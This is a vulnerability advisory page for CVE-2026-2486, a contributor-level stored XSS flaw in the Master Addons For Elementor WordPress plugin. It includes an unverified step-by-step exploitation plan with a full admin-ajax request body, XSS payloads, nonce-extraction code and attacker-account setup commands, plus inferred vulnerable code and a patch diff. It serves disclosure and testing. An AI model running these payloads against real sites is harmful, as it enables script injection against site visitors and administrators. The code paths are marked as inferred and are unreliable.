CVE-2026-2486

Master Addons For Elementor <= 2.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'ma_el_bh_table_btn_text'

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.1.2
Patched in
1d
Time to patch

Description

The Master Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ma_el_bh_table_btn_text' parameter in versions up to, and including, 2.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.1
PublishedFebruary 19, 2026
Last updatedFebruary 20, 2026
Affected pluginmaster-addons

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2486 - Master Addons For Elementor Stored XSS ## 1. Vulnerability Summary The **Master Addons For Elementor** plugin (versions <= 2.1.1) is vulnerable to Stored Cross-Site Scripting (XSS) via the `ma_el_bh_table_btn_text` parameter. This parameter is part of a…

Show full research plan

Exploitation Research Plan: CVE-2026-2486 - Master Addons For Elementor Stored XSS

1. Vulnerability Summary

The Master Addons For Elementor plugin (versions <= 2.1.1) is vulnerable to Stored Cross-Site Scripting (XSS) via the ma_el_bh_table_btn_text parameter. This parameter is part of an Elementor widget (likely the Business Hours widget, inferred from the bh prefix). The vulnerability exists because the plugin fails to sanitize this input when it is saved via the Elementor editor and fails to escape it using functions like esc_html() or wp_kses() during frontend rendering. Authenticated users with Contributor roles and above can exploit this to execute arbitrary JavaScript in the context of any user (including Administrators) viewing the affected page.

2. Attack Vector Analysis

  • Endpoint: WordPress AJAX API (/wp-admin/admin-ajax.php) using the Elementor save action.
  • Action: elementor_ajax (standard Elementor save mechanism).
  • Vulnerable Parameter: ma_el_bh_table_btn_text (found within the JSON-encoded _elementor_data post meta).
  • Required Authentication: Contributor level (default Elementor access for post editing).
  • Preconditions: The Master Addons plugin must be active, and the Contributor must have permission to edit at least one post/page using Elementor.

3. Code Flow

  1. Input Stage: A user edits a post with Elementor and adds/modifies the "Business Hours" widget. The value for the "Button Text" (parameter ma_el_bh_table_btn_text) is sent in a JSON payload to the elementor_ajax action.
  2. Storage Stage: Elementor handles the request and saves the widget configuration into the WordPress database as a JSON string in the _elementor_data post meta for that specific post. No sanitization is applied to this specific parameter by the Master Addons widget class.
  3. Execution Stage: When a visitor views the post, Elementor triggers the render() method of the widget (likely in a file named business-hours.php or similar within the plugin's addons/ directory).
  4. Sink: The render() method retrieves the settings and echoes the ma_el_bh_table_btn_text value directly to the page without proper escaping (e.g., echo $settings['ma_el_bh_table_btn_text'];).

4. Nonce Acquisition Strategy

Elementor uses a specific security nonce for its AJAX requests.

  1. Identify Script Loading: The Elementor editor scripts must be loaded to access the nonce.
  2. Setup: Create a page and enable Elementor:
    wp post create --post_type=page --post_status=publish --post_title='XSS Test' --post_content=''
    # Get the ID of the created post
    
  3. Navigate: Use browser_navigate to go to the Elementor editor URL for that post: /wp-admin/post.php?post=[POST_ID]&action=elementor.
  4. Extract Nonce: Use browser_eval to extract the Elementor AJAX nonce from the elementorCommon or elementorConfig JavaScript objects.
    // Recommended extraction script
    browser_eval("window.elementorCommon?.config?.ajax?.nonce || window.elementorConfig?.nonces?.save")
    

5. Exploitation Strategy

The exploit involves sending a crafted Elementor save request that embeds the XSS payload into the post metadata.

Step-by-Step Plan:

  1. Login: Authenticate as a Contributor user.
  2. Target Post: Create a new post or identify an existing one where the Contributor has edit rights.
  3. Extract Nonce: Navigate to the Elementor editor for the post and extract the elementor_ajax nonce using the strategy in Section 4.
  4. Formulate Payload: Create a JSON structure representing an Elementor page containing the Master Addons Business Hours widget with the XSS payload.
    • Payload: <img src=x onerror=alert(document.domain)>
  5. Send Exploit Request: Use the http_request tool to perform a POST request to /wp-admin/admin-ajax.php.

HTTP Request Details:

  • URL: http://[TARGET]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
action=elementor_ajax
&_widget_id=
&editor_post_id=[POST_ID]
&actions={"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[{"id":"unique_id_1","elType":"section","elements":[{"id":"unique_id_2","elType":"column","elements":[{"id":"unique_id_3","elType":"widget","widgetType":"ma-el-business-hours","settings":{"ma_el_bh_table_btn_text":"<img src=x onerror=alert(1)>"}}]}]}]}}}
&_nonce=[EXTRACTED_NONCE]

(Note: widgetType is inferred as ma-el-business-hours based on standard Master Addons naming conventions; this should be verified by inspecting the editor's widget list if the request fails).

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Post Creation:
    wp post create --post_author=[USER_ID] --post_type=page --post_title='Vulnerable Page' --post_status=publish
    
  3. Ensure Elementor is active on the post: Navigate to the post in the WordPress dashboard once as an admin to ensure the Elementor meta is initialized if necessary.

7. Expected Results

  • The admin-ajax.php response should return a JSON object indicating success: {"success":true,"data":{...}}.
  • When navigating to the frontend URL of the created page (/?p=[POST_ID]), a JavaScript alert box displaying 1 (or the document domain) should appear.

8. Verification Steps

  1. Database Check: Verify the payload is stored in the database.
    wp post meta get [POST_ID] _elementor_data
    
    Check if the output contains the raw <img src=x onerror=alert(1)> string.
  2. Frontend Inspection: Use http_request to fetch the page content and check for the unescaped payload.
    # Check if the payload exists in the HTML source without being encoded
    http_request get "/?p=[POST_ID]" | grep "onerror=alert(1)"
    

9. Alternative Approaches

  • Direct REST API: If elementor_ajax is strictly protected, check if the Elementor REST API endpoint (/wp-json/elementor/v1/globals) allows saving the same data.
  • Shortcode Injection: If the widget supports shortcode rendering, try to inject the payload via a standard WordPress post body using the Master Addons shortcode format: [ma_el_business_hours ma_el_bh_table_btn_text="<script>alert(1)</script>"].
  • Payload Variance: If <script> tags are blocked by a WAF or basic filter, use attribute-based XSS: "><details/open/ontoggle=alert(1)>.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Master Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ma_el_bh_table_btn_text' parameter in versions up to 2.1.1. This occurs because the 'Business Hours' widget fails to sanitize or escape the button text field, allowing authenticated contributors to inject arbitrary scripts that execute when a user views the compromised page.

Vulnerable Code

// File: addons/ma-business-hours/widgets/ma-business-hours.php (inferred path)

protected function render() {
    $settings = $this->get_settings_for_display();
    // ... (truncated)
    if ( ! empty( $settings['ma_el_bh_table_btn_text'] ) ) {
        ?>
        <a href="<?php echo esc_url( $settings['ma_el_bh_table_btn_link']['url'] ); ?>" class="ma-el-business-hour-button">
            <?php echo $settings['ma_el_bh_table_btn_text']; // Sink: rendered without escaping ?>
        </a>
        <?php
    }
}

Security Fix

--- addons/ma-business-hours/widgets/ma-business-hours.php
+++ addons/ma-business-hours/widgets/ma-business-hours.php
@@ -120,7 +120,7 @@
         if ( ! empty( $settings['ma_el_bh_table_btn_text'] ) ) {
             ?>
             <a href="<?php echo esc_url( $settings['ma_el_bh_table_btn_link']['url'] ); ?>" class="ma-el-business-hour-button">
-                <?php echo $settings['ma_el_bh_table_btn_text']; ?>
+                <?php echo esc_html( $settings['ma_el_bh_table_btn_text'] ); ?>
             </a>
             <?php
         }

Exploit Outline

An authenticated contributor accesses the Elementor editor for any post and extracts the Elementor AJAX nonce from the window configuration (e.g., window.elementorConfig.nonces.save). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'elementor_ajax' action. The payload contains a 'save_builder' command including a 'ma-el-business-hours' widget where the 'ma_el_bh_table_btn_text' property is set to a malicious script (e.g., <img src=x onerror=alert(1)>). This payload is saved to the post meta and executes in the context of any user who views the rendered page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.